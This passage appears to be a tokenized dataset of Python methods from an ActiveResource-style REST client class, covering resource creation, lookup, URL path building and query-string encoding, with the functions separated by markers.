"10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "Tru", "e", " ", "if", " ", "the", " ", "resource", " ", "is", " ", "found", ",", " ", "Fal", "se", " ", "other", "wis", "e", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix", "\\u", "options_", ",_", "query", "\\u", "options_", "=_", "cls_", "._", "\\u", "split", "\\u", "options_", "(_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "cls_", "._", "\\u", "element", "\\u", "path_", "(_", "id\\u_", ",_", "prefix", "\\u", "options_", ",_", "query", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\\u_", "=_", "cls_", "._", "connection_", "._", "head_", "(_", "path_", ",_", "cls_", "._", "headers_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", "connection_", "._", "Error_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "False_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "create_", "(_", "cls_", ",_", "attributes_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "and", " ", "save", " ", "a", " ", "resource", " ", "with", " ", "the", " ", "give", "n", " ", "attribute", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "attribute", "s", ":", " ", "A", " ", "dictionar", "y", " ", "of", " ", "attribute", "s", " ", "whi", "ch", " ", "represent", " ", "this", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "new", " ", "resource", " ", "(", "whi", "ch", " ", "may", " ", "or", " ", "may", " ", "not", " ", "have", " ", "bee", "n", " ", "saved", " ", "success", "full", "y", ").", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resource_", "=_", "cls_", "(_", "attributes_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resource_", "._", "save_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "resource_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "split", "\\u", "options_", "(_", "cls_", ",_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Split", " ", "prefix", " ", "options", " ", "and", " ", "query", " ", "options", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "options", ":", " ", "A", " ", "dictionar", "y", " ", "of", " ", "prefix", " ", "and", "/", "or", " ", "query", " ", "options", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "tuple", " ", "contain", "ing", " ", "(", "prefix", "\\u", "options", ",", " ", "query", "\\u", "options", ")", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "TOD", "O", "(", "mr", "roa", "ch", "):", " ", "figure", " ", "out", " ", "prefix", "\\u", "options_", "\\u\\u\\uNL\\u\\u\\u_", "prefix", "\\u", "options_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "query", "\\u", "options_", "=_", "{_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", ",_", "value_", "in_", "options_", "._", "iteritems_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "key_", "in_", "cls_", "._", "\\u", "prefix", "\\u", "parameters_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "prefix", "\\u", "options_", "[_", "key_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query", "\\u", "options_", "[_", "key_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "[_", "prefix", "\\u", "options_", ",_", "query", "\\u", "options_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "find", "\\u", "single_", "(_", "cls_", ",_", "id\\u_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "a", " ", "single", " ", "object", " ", "from", " ", "the", " ", "default", " ", "URL", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "id", "\\u", ":", " ", "The", " ", "id", " ", "or", " ", "other", " ", "key", " ", "whi", "ch", " ", "speci", "fie", "s", " ", "a", " ", "unique", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "Activ", "e", "Reso", "urc", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "Rai", "ses", ":", "\\", "10", ";", " ", " ", " ", " ", "Connect", "ion", "Error", ":", " ", "On", " ", "any", " ", "error", " ", "condition", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix", "\\u", "options_", ",_", "query", "\\u", "options_", "=_", "cls_", "._", "\\u", "split", "\\u", "options_", "(_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "cls_", "._", "\\u", "element", "\\u", "path_", "(_", "id\\u_", ",_", "prefix", "\\u", "options_", ",_", "query", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "._", "\\u", "build", "\\u", "object_", "(_", "cls_", "._", "connection_", "._", "get_", "(_", "path_", ",_", "cls_", "._", "headers_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "prefix", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "find", "\\u", "one_", "(_", "cls_", ",_", "from\\u_", ",_", "query", "\\u", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Fin", "d", " ", "a", " ", "single", " ", "resource", " ", "from", " ", "a", " ", "one", "-", "off", " ", "URL", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "from", "\\u", ":", " ", "The", " ", "path", " ", "from", " ", "whi", "ch", " ", "to", " ", "retrieve", " ", "the", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "query", "\\u", "options", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "Activ", "e", "Reso", "urc", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "Rai", "ses", ":", "\\", "10", ";", " ", " ", " ", " ", "connecti", "on", ".", "Connect", "ion", "Error", ":", " ", "On", " ", "any", " ", "error", " ", "condition", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "TOD", "O", "(", "mr", "roa", "ch", "):", " ", "allow", " ", "from", "\\u", " ", "to", " ", "be", " ", "a", " ", "string", "-", "generat", "ing", " ", "function_", "\\u\\u\\uNL\\u\\u\\u_", "path_", "=_", "from\\u_", "+_", "cls_", "._", "\\u", "query", "\\u", "string_", "(_", "query", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "._", "\\u", "build", "\\u", "object_", "(_", "cls_", "._", "connection_", "._", "get_", "(_", "path_", ",_", "cls_", "._", "headers_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "find", "\\u", "every_", "(_", "cls_", ",_", "from\\u_", "=_", "None_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "all", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "from", "\\u", ":", " ", "(", "option", "al", ")", " ", "The", " ", "path", " ", "from", " ", "whi", "ch", " ", "to", " ", "retrieve", " ", "the", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "list", " ", "of", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix", "\\u", "options_", ",_", "query", "\\u", "options_", "=_", "cls_", "._", "\\u", "split", "\\u", "options_", "(_", "kwargs_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "from\\u_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "query", "\\u", "options_", "._", "update_", "(_", "prefix", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "from\\u_", "+_", "cls_", "._", "\\u", "query", "\\u", "string_", "(_", "query", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix", "\\u", "options_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "path_", "=_", "cls_", "._", "\\u", "collection", "\\u", "path_", "(_", "prefix", "\\u", "options_", ",_", "query", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "cls_", "._", "\\u", "build", "\\u", "list_", "(_", "cls_", "._", "connection_", "._", "get_", "(_", "path_", ",_", "cls_", "._", "headers_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "prefix", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "build", "\\u", "object_", "(_", "cls_", ",_", "attributes_", ",_", "prefix", "\\u", "options_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "an", " ", "object", " ", "or", " ", "object", "s", " ", "for", " ", "the", " ", "give", "n", " ", "resource", " ", "string", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "attribute", "s", ":", " ", "A", " ", "dictionar", "y", " ", "represent", "ing", " ", "a", " ", "resource", ".", "\\", "10", ";", " ", " ", " ", " ", "prefix", "\\u", "options", ":", " ", "A", " ", "dict", " ", "of", " ", "prefix", "es", " ", "to", " ", "add", " ", "to", " ", "the", " ", "request", " ", "for", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "nest", "ed", " ", "URL", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "An", " ", "Activ", "e", "Reso", "urc", "e", " ", "object", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "cls_", "(_", "attributes_", ",_", "prefix", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "build", "\\u", "list_", "(_", "cls_", ",_", "elements_", ",_", "prefix", "\\u", "options_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Creat", "e", " ", "a", " ", "list", " ", "of", " ", "object", "s", " ", "for", " ", "the", " ", "give", "n", " ", "xml", " ", "string", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "element", "s", ":", " ", "A", " ", "list", " ", "of", " ", "dictionar", "ies", " ", "represent", "ing", " ", "resource", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "prefix", "\\u", "options", ":", " ", "A", " ", "dict", " ", "of", " ", "prefix", "es", " ", "to", " ", "add", " ", "to", " ", "the", " ", "request", " ", "for", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "nest", "ed", " ", "URL", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "list", " ", "of", " ", "Activ", "e", "Reso", "urc", "e", " ", "object", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "resources_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "isinstance_", "(_", "elements_", ",_", "dict_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "elements_", "=_", "[_", "elements_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "slice", " ", "element", "s", " ", "to", " ", "ensure", " ", "tha", "t", " ", "this", " ", "is", " ", "a", " ", "list", "-", "type", " ", "object", " ", "not", " ", "a", " ", "dict_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "for_", "element_", "in_", "elements_", "[_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "resources_", "._", "append_", "(_", "cls_", "(_", "element_", ",_", "prefix", "\\u", "options_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "resources_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "query", "\\u", "string_", "(_", "cls_", ",_", "query", "\\u", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Return", " ", "a", " ", "query", " ", "string", " ", "for", " ", "the", " ", "give", "n", " ", "options", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "query", "\\u", "options", ":", " ", "A", " ", "dictionar", "y", " ", "of", " ", "query", " ", "keys", "/", "values", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "A", " ", "string", " ", "contain", "ing", " ", "the", " ", "encode", "d", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "query", "\\u", "options_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "'?'_", "+_", "util_", "._", "to", "\\u", "query_", "(_", "query", "\\u", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "element", "\\u", "path_", "(_", "cls_", ",_", "id\\u_", ",_", "prefix", "\\u", "options_", "=_", "None_", ",_", "query", "\\u", "options_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "the", " ", "element", " ", "path", " ", "for", " ", "the", " ", "give", "n", " ", "id", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", ":", "\\", "10", ";", " ", " ", " ", " ", "Comme", "nt", ".", "element", "\\u", "path", "(", "1", ",", " ", "{", "'", "post", "\\u", "id", "':", " ", "5", "})", " ", "->", " ", "/", "posts", "/", "5", "/", "act", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "id", "\\u", ":", " ", "The", " ", "id", " ", "of", " ", "the", " ", "object", " ", "to", " ", "retrieve", ".", "\\", "10", ";", " ", " ", " ", " ", "prefix", "\\u", "options", ":", " ", "A", " ", "dict", " ", "of", " ", "prefix", "es", " ", "to", " ", "add", " ", "to", " ", "the", " ", "request", " ", "for", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "nest", "ed", " ", "URL", "s", ".", "\\", "10", ";", " ", " ", " ", " ", "query", "\\u", "options", ":", " ", "A", " ", "dict", " ", "of", " ", "items", " ", "to", " ", "add", " ", "to", " ", "the", " ", "query", " ", "string", " ", "for", "\\", "10", ";", " ", " ", " ", " ", " ", "the", " ", "request", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "path", " ", "(", "relative", " ", "to", " ", "site", ")", " ", "to", " ", "the", " ", "element", " ", "format", "ted", " ", "with", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'%", "(", "prefix", ")", "s", "/", "%", "(", "plural", ")", "s", "/", "%", "(", "id", ")", "s", ".", "%", "(", "format", ")", "s", "%", "(", "query", ")", "s", "'_", "%_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "prefix", "'_", ":_", "cls_", "._", "\\u", "prefix_", "(_", "prefix", "\\u", "options_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "plural", "'_", ":_", "cls_", "._", "\\u", "plural_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "id", "'_", ":_", "id\\u_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "format", "'_", ":_", "cls_", "._", "format_", "._", "extension_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "cls_", "._", "\\u", "query", "\\u", "string_", "(_", "query", "\\u", "options_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "collection", "\\u", "path_", "(_", "cls_", ",_", "prefix", "\\u", "options_", "=_", "None_", ",_", "query", "\\u", "options_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "the", " ", "collection", " ", "path", " ", "for", " ", "this", " ", "object", " ", "type", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Exam", "ples", ":", "\\", "10", ";", " ", " ", " ", " ", "Comme", "nt", ".", "collection", "\\u", "path", "()", " ", "->", " ", "/", "comment", "s", ".", "xml", "\\", "10", ";", " ", " ", " ", " ", "Comme", "nt", ".", "collection", "\\u", "path", "(", "query", "\\u", "options", "={", "'", "active", "':", " ", "1", "})", "\\", "10", ";", " ", " ", " ", " ", "->", " ", "/", "comment", "s", ".", "xml", "?", "active", "=", "1", "\\", "10", ";", " ", " ", " ", " ", "Comme", "nt", ".", "collection", "\\u", "path", "({", "'", "posts", "':", " ", "5", "})", "\\", "10", ";", " ", " ", " ", " ", "->", " ", "/", "posts", "/", "5", "/", "comment", "s", ".", "xml", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "prefix", "\\u", "options", ":", " ", "A", " ", "dict", " ", "of", " ", "prefix", "es", " ", "to", " ", "add", " ", "to", " ", "the", " ", "request", " ", "for", "\\", "10", ";", " ", " ", " ", " ", " ", " ", "nest", "ed", " ", "URL", "s", "\\", "10", ";", " ", " ", " ", " ", "query", "\\u", "options", ":", " ", "A", " ", "dict", " ", "of", " ", "items", " ", "to", " ", "add", " ", "to", " ", "the", " ", "query", " ", "string", " ", "for", "\\", "10", ";", " ", " ", " ", " ", " ", "the", " ", "request", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "path", " ", "(", "relative", " ", "to", " ", "site", ")", " ", "to", " ", "this", " ", "type", " ", "of", " ", "collection", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "'%", "(", "prefix", ")", "s", "/", "%", "(", "plural", ")", "s", ".", "%", "(", "format", ")", "s", "%", "(", "query", ")", "s", "'_", "%_", "{_", "\\u\\u\\uNL\\u\\u\\u_", "'", "prefix", "'_", ":_", "cls_", "._", "\\u", "prefix_", "(_", "prefix", "\\u", "options_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "plural", "'_", ":_", "cls_", "._", "\\u", "plural_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "format", "'_", ":_", "cls_", "._", "\\u", "format_", "._", "extension_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "cls_", "._", "\\u", "query", "\\u", "string_", "(_", "query", "\\u", "options_", ")_", "}_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "custom", "\\u", "method", "\\u", "collection", "\\u", "url_", "(_", "cls_", ",_", "method", "\\u", "name_", ",_", "options_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "the", " ", "collection", " ", "path", " ", "for", " ", "this", " ", "resource", " ", "type", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "The", " ", "HTTP", " ", "method", " ", "bei", "ng", " ", "used", ".", "\\", "10", ";", " ", " ", " ", " ", "options", ":", " ", "A", " ", "dictionar", "y", " ", "of", " ", "query", "/", "prefix", " ", "options", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "The", " ", "path", " ", "(", "relative", " ", "to", " ", "site", ")", " ", "to", " ", "this", " ", "type", " ", "of", " ", "collection", ".", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prefix", "\\u", "options_", ",_", "query", "\\u", "options_", "=_", "cls_", "._", "\\u", "split", "\\u", "options_", "(_", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "path_", "=_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "'%", "(", "prefix", ")", "s", "/", "%", "(", "plural", ")", "s", "/", "%", "(", "method", "\\u", "name", ")", "s", ".", "%", "(", "format", ")", "s", "%", "(", "query", ")", "s", "'_", "%_", "\\u\\u\\uNL\\u\\u\\u_", "{_", "'", "prefix", "'_", ":_", "cls_", "._", "\\u", "prefix_", "(_", "prefix", "\\u", "options_", ")_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "plural", "'_", ":_", "cls_", "._", "\\u", "plural_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "method", "\\u", "name", "'_", ":_", "method", "\\u", "name_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "format", "'_", ":_", "cls_", "._", "format_", "._", "extension_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "query", "'_", ":_", "cls_", "._", "\\u", "query", "\\u", "string_", "(_", "query", "\\u", "options_", ")_", "}_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Activ", "e", "Resource_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "@_", "classmethod_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "\\u", "class", "\\u", "get_", "(_", "cls_", ",_", "method", "\\u", "name_", ",_", "**_", "kwargs_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "\"\"\"", "Get", " ", "a", " ", "nest", "ed", " ", "resource", " ", "or", " ", "resource", "s", ".", "\\", "10", ";", "\\", "10", ";", " ", " ", " ", " ", "Arg", "s", ":", "\\", "10", ";", " ", " ", " ", " ", "method", "\\u", "name", ":", " ", "the", " ", "nest", "ed", " ", "resource", " ", "to", " ", "retrieve", ".", "\\", "10", ";", " ", " ", " ", " ", "kwarg", "s", ":", " ", "Any", " ", "keyw", "ord", " ", "argu", "ment", "s", " ", "for", " ", "the", " ", "query", ".", "\\", "10", ";", " ", " ", " ", " ", "Return", "s", ":", "\\", "10", ";", " ", " ", 